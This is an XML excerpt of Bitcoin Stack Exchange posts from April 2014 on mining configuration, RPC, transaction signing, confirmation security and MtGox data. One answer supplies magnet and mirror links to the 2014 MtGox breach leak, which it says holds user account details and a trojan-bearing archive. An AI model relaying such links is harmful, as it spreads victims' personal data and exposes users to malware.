  <row Id="24740" PostTypeId="2" ParentId="8285" CreationDate="2014-04-20T11:36:16.183" Score="8" Body="&lt;p&gt;Each entity's weight in the economic majority is closely related to its ability to devalue the coins in the protocol version they are against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People (and their proxies) who are willing to offer goods or services (including traditional currencies) for Bitcoin can refuse to accept coins of the &quot;wrong&quot; protocol, while people who hold bitcoins can sell coins of the wrong protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A detailed analysis might reveal the impact each of these groups has, though I suspect the former group has an advantage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Personal note: It's been said that I coined the term &quot;economic majority&quot; in this context. When I originally used it I meant the former group.)&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-04-20T11:36:16.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24742" PostTypeId="2" ParentId="1621" CreationDate="2014-04-20T14:48:30.630" Score="1" Body="&lt;h1&gt;Original MtGox Shared Dataset&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Once upon a time there was a Google BigQuery dataset that was updated often with MtGox's official trade record. That's no longer being published because... ask &lt;a href=&quot;http://en.wikipedia.org/wiki/Mark_Karpeles&quot; rel=&quot;nofollow&quot;&gt;someone who should explain it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Data on Google BigQuery&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The BigQuery shared MtGox Trades dataset is (@2014-04-20) available at&#xA;&lt;a href=&quot;https://bigquery.cloud.google.com/dataset/931531665892%3amtgox&quot; rel=&quot;nofollow&quot;&gt;https://bigquery.cloud.google.com/dataset/931531665892:mtgox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The BitTorrent Version&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you'd &lt;em&gt;rather not BigQuery&lt;/em&gt;, but &lt;em&gt;you still want that data&lt;/em&gt;, there's a torrent, here's the full-metal-magnet.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;magnet:?xt=urn:btih:c87cd62f9484993f0153a47fc51f06fb43ed71ee&amp;dn=931531665892-mtgox-trades.csv&amp;tr=udp%3A%2F%2Ftracker.publicbt.com%3A80&amp;tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&amp;tr=udp%3A%2F%2Ftracker.ccc.de%3A80&amp;tr=udp%3A%2F%2Ftracker.istole.it%3A80&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;The MtGox Leak Database&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In 2014 the Magic The Gathering Online eXchange (MtGox) server was compromised. Source code, user account details and trade data were made public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For academic research the trade data is useful, here's a magnet to the original &quot;public service release&quot; file, &lt;code&gt;MtGox2014Leak.zip&lt;/code&gt;. &lt;a href=&quot;https://www.virustotal.com/en/file/4be75071e325d84e6ac45c64598f0957ff6f8f431cae1419402702b4f48f3c10/analysis/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BEWARE&lt;/strong&gt;: The &lt;code&gt;TibanneBackOffice.zip&lt;/code&gt; file contains a trojan&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;magnet:?xt=urn:btih:b6545ecc7db8d44c8cbc4e93989edf8221af75f5&amp;dn=2014+Mt.+Gox+Leak&amp;tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&amp;tr=udp%3A%2F%2Ftracker.publicbt.com%3A80&amp;tr=udp%3A%2F%2Ftracker.istole.it%3A6969&amp;tr=udp%3A%2F%2Ftracker.ccc.de%3A80&amp;tr=udp%3A%2F%2Fopen.demonii.com%3A1337&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, &lt;a href=&quot;http://cryptoanarchic.me&quot; rel=&quot;nofollow&quot;&gt;cryptoanarchic.me&lt;/a&gt; have kindly provided an &lt;a href=&quot;http://cryptoanarchic.me/goxhax/MtGox2014Leak.zip&quot; rel=&quot;nofollow&quot;&gt;HTTP mirrored version of MtGox2014Leak.zip&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are the two data sources I'm using in my research.&lt;/p&gt;&#xA;" OwnerUserId="4688" LastEditorUserId="4688" LastEditDate="2014-04-20T14:54:54.093" LastActivityDate="2014-04-20T14:54:54.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24746" PostTypeId="1" CreationDate="2014-04-20T19:10:33.003" Score="2" ViewCount="4266" Body="&lt;p&gt;Will Bitcoin-qt mine bitcoins if all I have done is downloaded and installed Bitcoin-qt, and typed in &quot;setgenerate true&quot; into the console?  Are there other steps or configurations necessary?  If so, what are they?&lt;/p&gt;&#xA;" OwnerUserId="15121" LastEditorUserId="5406" LastEditDate="2016-04-02T10:06:35.353" LastActivityDate="2016-04-02T10:06:35.353" Title="Bitcoin-Qt &amp; setgenerate true" Tags="|bitcoin-core|miner-configuration|mac|solo-mining|bitcoin.conf|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24748" PostTypeId="1" AcceptedAnswerId="24758" CreationDate="2014-04-20T19:33:09.280" Score="3" ViewCount="415" Body="&lt;p&gt;Is it possible to detect stolen bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With so many coins being stolen these days, for the more &quot;ethically conscious&quot; bitcoin users, is it somehow possible to check if the coins (you're about to receive) are from stolen coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is possible, what's the quickest and easiest way to do this?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="4823" LastEditDate="2014-04-22T09:53:25.913" LastActivityDate="2020-08-03T20:07:16.233" Title="Detecting stolen bitcoins?" Tags="|transactions|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24750" PostTypeId="2" ParentId="24722" CreationDate="2014-04-20T20:23:46.840" Score="4" Body="&lt;p&gt;As others mentioned Bitcoin core uses &lt;a href=&quot;http://wiki.openssl.org/index.php/Random_Numbers#Sources&quot; rel=&quot;nofollow&quot;&gt;OpenSSL random sources&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that it uses any random source available, like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the operation system, i.e. interrupts&lt;/li&gt;&#xA;&lt;li&gt;random sources of the CPU or the chip set&lt;/li&gt;&#xA;&lt;li&gt;dedicated hardware for entropy generation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So in order to make sure your hardware random generator works with Bitcoin you must make sure it works with OpenSSL.&lt;/p&gt;&#xA;" OwnerUserId="13746" LastActivityDate="2014-04-20T20:23:46.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24751" PostTypeId="2" ParentId="24722" CreationDate="2014-04-20T21:20:07.523" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/2aed2b30b112aaaf7d46df4fd947648ca8df4e67/src/key.cpp#L363&quot; rel=&quot;nofollow&quot;&gt;It uses RAND_bytes from OpenSSL&lt;/a&gt;. The relevant call is &lt;code&gt;CKey::MakeNewKey&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getnewaddress&lt;/code&gt; is in rpcwallet.cpp. It tries to get a key from the pool, and if the pool is empty it allocates a new one which is populated using RAND_bytes.&lt;/p&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2014-04-20T21:20:07.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24752" PostTypeId="2" ParentId="3890" CreationDate="2014-04-20T21:26:11.303" Score="1" Body="&lt;p&gt;Transaction outputs have a &quot;value&quot; field that's an 8-byte signed integer (always 8 bytes) indicating how many satoshis (0.00000001 BTC each) are available for that output.  That is the thing that gets set to -1 on the other outputs in SIGHASH_SINGLE mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks to be the code responsible for making this happen, from script.cpp:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Serialize an output of txTo */&#xA;template&amp;lt;typename S&amp;gt;&#xA;void SerializeOutput(S &amp;amp;s, unsigned int nOutput, int nType, int nVersion) const {&#xA;    if (fHashSingle &amp;amp;&amp;amp; nOutput != nIn)&#xA;        // Do not lock-in the txout payee at other indices as txin&#xA;        ::Serialize(s, CTxOut(), nType, nVersion);&#xA;    else&#xA;        ::Serialize(s, txTo.vout[nOutput], nType, nVersion);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we're in SIGHASH_SINGLE mode, and the index of the output is different from the index of the input, then the thing that we sign in this spot is just a dummy CTxOut object, whose parameterless constructor (in core.h) calls SetNull(), which sets the field called &quot;nValue&quot; to -1 (-0.00000001 BTC) and clears the scriptPubKey, which ensures that it's a 0-byte vector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When CTxOut gets serialized, it writes the nValue and scriptPubKey per this (core.h again):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMPLEMENT_SERIALIZE&#xA;(&#xA;    READWRITE(nValue);&#xA;    READWRITE(scriptPubKey);&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;nValue serializes as the 8-byte twos-complement representation of -1, or 0xFFFFFFFFFFFFFFFF.&#xA;scriptPubKey serializes as a 1-byte CompactSize that indicates that the script is 0 bytes long, or 0x0.&lt;/p&gt;&#xA;" OwnerUserId="14109" LastActivityDate="2014-04-20T21:26:11.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24753" PostTypeId="1" CreationDate="2014-04-20T21:38:07.093" Score="1" ViewCount="232" Body="&lt;p&gt;When configuring the &lt;code&gt;bitcoin.conf&lt;/code&gt; file, what should you put in &lt;code&gt;connect=&lt;/code&gt;?  There are IP addresses listed here, so I removed the &lt;code&gt;#&lt;/code&gt; sign and left them as is.  I also entered my WAN address and my local IP address with the forwarded port a separate time.  What should I enter and how will I know it is working correctly?&lt;/p&gt;&#xA;" OwnerUserId="15121" LastEditorUserId="5406" LastEditDate="2016-04-25T19:48:33.010" LastActivityDate="2016-04-25T19:48:33.010" Title="Bitcoin.conf connect command" Tags="|bitcoin-core|mac|nodes|bitcoin.conf|peer-discovery|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24754" PostTypeId="2" ParentId="18984" CreationDate="2014-04-20T21:38:51.860" Score="5" Body="&lt;p&gt;No.  In the reference client, main.cpp runs this check during &quot;AcceptBlock&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Check that all transactions are finalized&#xA;    BOOST_FOREACH(const CTransaction&amp;amp; tx, block.vtx)&#xA;        if (!IsFinalTx(tx, nHeight, block.GetBlockTime()))&#xA;            return state.DoS(10, error(&quot;AcceptBlock() : contains a non-final transaction&quot;),&#xA;                             REJECT_INVALID, &quot;bad-txns-nonfinal&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which rejects your block if it contain a non-final transaction.  A client that accepts a block containing a transaction with a locktime in the future and sequence number less than &lt;code&gt;std::numeric_limits&amp;lt;unsigned int&amp;gt;::max()&lt;/code&gt; would be on the losing side of a fork.&lt;/p&gt;&#xA;" OwnerUserId="14109" LastActivityDate="2014-04-20T21:38:51.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24755" PostTypeId="1" AcceptedAnswerId="24761" CreationDate="2014-04-20T21:44:00.807" Score="1" ViewCount="347" Body="&lt;p&gt;Does &lt;code&gt;Bitcoin-Qt&lt;/code&gt; require that I create a &lt;code&gt;bitcoin.conf&lt;/code&gt; file in order to solo mine on my Mac?  I created one after reading the wiki and placed it in &lt;code&gt;Lib/AppSupp/Bitcoin&lt;/code&gt; but I am not sure I needed to.  Was I correct in creating this file?  If not, what application besides &lt;code&gt;Bitcoin-Qt&lt;/code&gt; is it used for?&lt;/p&gt;&#xA;" OwnerUserId="15121" LastEditorUserId="5406" LastEditDate="2016-04-25T18:46:23.830" LastActivityDate="2016-04-25T18:46:23.830" Title="Does Bitcoin-Qt require that I create a bitcoin.conf file in order to solo mine on my Mac?" Tags="|bitcoin-core|mac|solo-mining|bitcoin.conf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24756" PostTypeId="1" AcceptedAnswerId="24759" CreationDate="2014-04-20T21:49:24.603" Score="3" ViewCount="3834" Body="&lt;p&gt;What does it mean in the &lt;code&gt;bitcoin.conf&lt;/code&gt; file when it states:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  server=1 tells Bitcoin-Qt to accept JSON-RPC commands?  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If all one needs to do to solo mine is type &lt;code&gt;setgenerate true&lt;/code&gt; in the console, then what is at stake with accepting JSON-RPC commands?  Does this allow other software to interact with Bitcoin-Qt, or something akin to that?  Can someone explain?&lt;/p&gt;&#xA;" OwnerUserId="15121" LastEditorUserId="5406" LastEditDate="2016-03-11T15:04:04.360" LastActivityDate="2023-06-08T08:59:32.913" Title="Bitcoin.conf &amp; JSON-RPC options" Tags="|bitcoin-core|json-rpc|mac|solo-mining|bitcoin.conf|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24758" PostTypeId="2" ParentId="24748" CreationDate="2014-04-20T22:02:48.333" Score="8" Body="&lt;p&gt;Generally, this is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since all transactions are public, one could imagine a registry of sorts where a person could report a particular transaction as unauthorized.  You could then consider any coins traceable back to that transaction to be &quot;tainted&quot;.  However, there are several problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There would be no way to verify the truth of a claim that a transaction was unauthorized.  Even if you required a signature to confirm that the claimant held the private key for the address from which the coins were &quot;stolen&quot;, the claimant could have made the transaction intentionally and then reported it unauthorized to defraud the payee.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A Bitcoin thief would likely immediately send the stolen coins to a &lt;a href=&quot;https://en.bitcoin.it/wiki/Mixing_service&quot;&gt;mixing service&lt;/a&gt; to disguise their origin.  Then every other innocent party who used the mixing service around the same time would also have their coins tainted.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's no way of checking coins that you are &quot;about to receive&quot;.  You have no information about the source of coins until the transaction is made.  At this point the coins belong to you.  What are you going to do?  Give them back?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-20T22:02:48.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24759" PostTypeId="2" ParentId="24756" CreationDate="2014-04-20T22:11:37.143" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC API&lt;/a&gt; can be used by other programs to communicate with the Bitcoin client.  That could include external mining programs, &quot;e-commerce&quot; software to automatically make and receive payments, or any other software that wants to interact with the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is true that you do not need this feature simply to solo mine using &lt;code&gt;setgenerate true&lt;/code&gt;.  However, you should be aware that &lt;code&gt;setgenerate true&lt;/code&gt; enables an inefficient CPU miner which is obsolete technology and should be used for testing only.  It will cost you far more in electricity than you can ever expect to earn in mining revenue, and with very high probability you will never successfully mine a single block.  The current state of the art in mining is dedicated ASIC hardware.  Such hardware would normally be controlled by a separate piece of software, which would then communicate with the Bitcoin client over the RPC API.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-20T22:11:37.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24761" PostTypeId="2" ParentId="24755" CreationDate="2014-04-20T22:17:35.960" Score="1" Body="&lt;p&gt;As the name suggests, &lt;code&gt;bitcoin.conf&lt;/code&gt; is a configuration file to set various options of the bitcoin client.  Details of the file and available options can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most commonly used option is to set the RPC username and password (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24756/bitcoin-conf-json-rpc-options/24759#24759&quot;&gt;see your other question&lt;/a&gt;).  If you only want to solo mine using &lt;code&gt;setgenerate true&lt;/code&gt; (which, as I mentioned in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/24759/5757&quot;&gt;my other answer&lt;/a&gt; is not recommended), the defaults should be fine and you don't need to put anything in &lt;code&gt;bitcoin.conf&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-04-20T22:17:35.960" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24763" PostTypeId="2" ParentId="8745" CreationDate="2014-04-20T23:59:12.730" Score="1" Body="&lt;p&gt;Shorter answers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The number of confirmations you &quot;should&quot; require for a transaction is entirely up to you.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OK, that's not particularly helpful, I know.  For me, looking at the current environment, I'm not planning on doing anything that would justify forcing a wait for any more than 2 confirmations under normal circumstances*.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The level of security that you get by waiting for &lt;em&gt;n&lt;/em&gt; number of confirmations is basically constant.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If at some point in the past, you made an informed decision that &lt;em&gt;n&lt;/em&gt; number of confirmations was &quot;good enough&quot;, then &lt;em&gt;n&lt;/em&gt; should be just as good enough today, possibly better.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Longer answers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When I make the claim about 2 confirmations, I'm betting against the existence of an entity X who would be able to make the following sequence of events happen (YMMV):&#xA;&lt;ol&gt;&#xA;&lt;li&gt;X sends me some number of Bitcoins in a transaction that spends some output A.&lt;/li&gt;&#xA;&lt;li&gt;That transaction is included in a block accepted by the network at height h (confirmation #1)&lt;/li&gt;&#xA;&lt;li&gt;A block is accepted by the network building on top of that one at height h+1 (confirmation #2)&lt;/li&gt;&#xA;&lt;li&gt;I do the thing that entity X paid me those Bitcoins to do.&lt;/li&gt;&#xA;&lt;li&gt;An alternative chain of at least two other valid blocks, including heights h and h+1, is announced to the network and spends output A to some other place, probably owned by X.&lt;/li&gt;&#xA;&lt;li&gt;The newer chain is built upon (most likely, but not necessarily, by X him/herself: miners, especially those that got the coinbase rewards from the honest chain, will tend to work on the honest chain for no other reason than it's what they saw first), locking in the double-spend.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Building off the previous note, &lt;em&gt;n&lt;/em&gt; confirmations sets the bar for being able to successfully pull off a double-spend attack at a level that increases &lt;strong&gt;exponentially&lt;/strong&gt; with &lt;em&gt;n&lt;/em&gt;.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I think it's unrealistic to expect someone to be able to reliably and cost-effectively do this under normal circumstances* at &lt;em&gt;n&lt;/em&gt;=2, requiring &lt;em&gt;n&lt;/em&gt;=3 feels a bit paranoid, and don't even get me started about &lt;em&gt;n&lt;/em&gt;=6.&lt;/li&gt;&#xA;&lt;li&gt;Furthermore, even if someone were capable of doing this, they would have to stand to gain more from their victims than some significant proportion of the block rewards before even &lt;strong&gt;attempting&lt;/strong&gt; it.&lt;/li&gt;&#xA;&lt;li&gt;The opportunity cost of a failed attempt is the sum of all the block rewards that the would-be attacker could have received if he/she participated in the network honestly.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some thoughts about major hashrate increases and lucky bursts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the network hits an extremely lucky streak and several blocks are mined in the course of a very short time, the expected amount of work it would take for an attacker to reverse a buried transaction stays the same.  In this way, lucky streaks (and overall increased hashrate) by honest nodes actually &lt;strong&gt;increase&lt;/strong&gt; security, whereas lucky streaks are &lt;strong&gt;required&lt;/strong&gt; for an attacker with &amp;lt;50% of the network hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where an increase in network hashrate becomes a bigger concern is when this increase tends to favor a single entity (which could itself be a group of entities).  As this entity gets a higher and higher share of the total network hashrate, reversing transactions buried 6 confirmations deep in the chain becomes a more and more realistic proposition.  According to the calculation from Satoshi's original whitepaper, an attacker with 45% of the network hashrate would have a 30% chance ((.45 / .55) ** 6) of being able to &quot;catch up&quot; from being 6 blocks behind and reverse your supposedly &quot;confirmed&quot; transaction.  So, on average, with those odds (which are high enough to make a lot of people on-edge), this attacker would have to stand to gain more than 70% of the rewards from 6 consecutive blocks in order for this attack to be worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is &lt;em&gt;n&lt;/em&gt;=6 the recommendation?  I don't know.  My out-of-the-blue guess is that this made a lot more sense back at a time when someone with a lot of extant general-purpose CPU/GPU power could more easily generate blocks than today.  Today, since so much of the honest network hashrate is running specialized computing devices (ASICs), the network hashrate has risen so dramatically that it's unfeasible to expect there to be an untapped reserve of computing power that can come out of the blue and overtake the network at large (which is why I've said &quot;possibly better&quot; above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would MtGox wait more than 6 or even 8 confirmations before accepting incoming transactions?  I don't know, but it doesn't surprise me; that organization never really struck me as having a deep understanding of Bitcoin, despite how important it was to their business and despite the apparent fact that they were running bitcoind with in-house customizations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Normal circumstances assume there's no network anomaly going on like the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki&quot; rel=&quot;nofollow&quot; title=&quot;BIP 0050: March 2013 Chain Fork Post-Mortem&quot;&gt;hard fork of March 2013&lt;/a&gt;, we're not talking with HUGE transaction volumes, and I have no reason to believe the major mining pools are collectively out to get me.&lt;/p&gt;&#xA;" OwnerUserId="14109" LastActivityDate="2014-04-20T23:59:12.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24765" PostTypeId="2" ParentId="24668" CreationDate="2014-04-21T02:04:03.537" Score="0" Body="&lt;p&gt;Okay, so this whole topic stems from the originator of physical renditions of bitcoins which is &lt;a href=&quot;https://www.casascius.com&quot; rel=&quot;nofollow&quot;&gt;Casascius&lt;/a&gt;.  As you can see, this site is no longer providing this service.  There are a few other companies in existence.  It is novel to have them, but this concept has fueled the paper wallet craze, for which you may want to consider &lt;a href=&quot;https://www.bitaddress.org/bitaddress.org-v2.9.0-SHA1-6e9ae5c64d510b53fa39e36a3017d5342b838984.html&quot; rel=&quot;nofollow&quot;&gt;bitaddress&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15121" LastActivityDate="2014-04-21T02:04:03.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24766" PostTypeId="2" ParentId="21388" CreationDate="2014-04-21T02:09:52.057" Score="2" Body="&lt;p&gt;One fundamental, expected way to make a valid template invalid: someone else finds a block, and it's time to switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can technically keep incrementing &quot;curtime&quot; until it's 2 hours in the future, though my gut tells me I should try to avoid pushing &quot;curtime&quot; anywhere near that far into the future until after I've exhausted everything else.  I haven't spent too much time looking into GBT, but you should be able to make at least &lt;em&gt;some&lt;/em&gt; changes to the coinbase data on the generation transaction (you probably won't have complete freedom, as I'm guessing there's a way for the pool to force things like /P2SH/ to show up in there for example) to get a different Merkle root.  People often call this the &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#Generation&quot; rel=&quot;nofollow&quot; title=&quot;Transactions: Generation&quot;&gt;extranonce&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for when you should ask for a new template, immediately after the spot you quoted in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate#While_you.27re_mining&quot; rel=&quot;nofollow&quot; title=&quot;While you're mining&quot;&gt;bitcoin wiki&lt;/a&gt;, it says this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If your template included a &quot;longpollid&quot; key, you can queue a request for a new template to be executed as soon as the pool decides you should change. This is the same as any other template request, except that you include the &quot;longpollid&quot; parameter that the pool provided in your request. If there is already a new template, the pool might respond immediately, so be sure not to depend on a delay!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, you should be able to do a &quot;long poll&quot; request that won't return any data until the pool server decides for you that it's time for a new template.  You definitely shouldn't rely on guessing that &quot;desired block interval&quot; ought to be good enough.&lt;/p&gt;&#xA;" OwnerUserId="14109" LastActivityDate="2014-04-21T02:09:52.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24768" PostTypeId="2" ParentId="24756" CreationDate="2014-04-21T05:36:26.060" Score="1" Body="&lt;p&gt;Yes. if you set server=1 in your bitcoin.conf file your wallet will run a server that listens for and accepts commands passed to it. These can be used to externally control the wallet. By default only requests from your local machine are accepted.  JSON is the formatting language the commands are issued in. JSON_RPC is a standardized way of issuing these commands using the json format.  When you run the client you can use the Console available from the help menu to run the same set of commands directly.  As people mentioned its been quite a while since its been practical to use the client as a miner. &lt;/p&gt;&#xA;" OwnerUserId="15368" LastActivityDate="2014-04-21T05:36:26.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24772" PostTypeId="2" ParentId="21388" CreationDate="2014-04-21T12:39:51.687" Score="1" Body="&lt;p&gt;To add to Joe's answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;A block is mined every 10 minutes&quot; is a misunderstanding. Blocks are found at random, and a new one could be found at any time. It could be 3 seconds after the last one, or 3 hours. 10 minutes is a target; the plan is that over a large number of blocks, the average time between them should approach 10 minutes. But this tells you  nothing about any single block. So if you don't have longpoll, you will want to request a new template much more often, perhaps every few seconds.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-21T12:39:51.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24773" PostTypeId="1" CreationDate="2014-04-21T14:59:37.467" Score="1" ViewCount="222" Body="&lt;p&gt;With RPC calls to bitcoind, from separate (python) scripts, I'm:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;calling getnewaddress to set up a new key pair for a 'special' address, assigned to a distinct account (let's call this 'specialAccount')&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;building raw transactions (outside bitcoind) that spend outputs to this special address and then calling bitcoind to sign send&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In addition to the above, it is possible that bitcoind is also called directly, to make payments, or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I be &lt;em&gt;absolutely sure&lt;/em&gt; that bitcoind does not consume outputs to my special address outside of signing outputs to this address in signrawtransaction? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can assume that there are no calls that &lt;em&gt;explicitly&lt;/em&gt; spend from 'specialAccount', but the problem is that, as I understand it, it is possible for bitcoind to borrow arbitrary unspent outputs for the purpose of paying transaction fees. (See &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2079&quot; rel=&quot;nofollow&quot;&gt;this issue&lt;/a&gt;, for example, and also &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/3810&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way for me to lock the special address, and prevent this being used to pay transaction fees for other accounts, or to otherwise be able to use bitcoind to sign raw transactions that use outputs to this address without making the public key for the address more generally available within bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="13754" LastActivityDate="2014-04-21T15:18:20.673" Title="How can I ensure that bitcoind does not use unspent outputs for a given address?" Tags="|bitcoind|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24774" PostTypeId="2" ParentId="24773" CreationDate="2014-04-21T15:18:20.673" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#lockunspent_unlock.3F_.5B.7B.22txid.22%3atxid.2C.22vout.22%3an.7D.2C....5D&quot; rel=&quot;nofollow&quot;&gt;lockunspent&lt;/a&gt; to lock (in-memory only) unspent inputs created by transactions whose at least one output was pointing to your &quot;special address&quot;.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-04-21T15:18:20.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
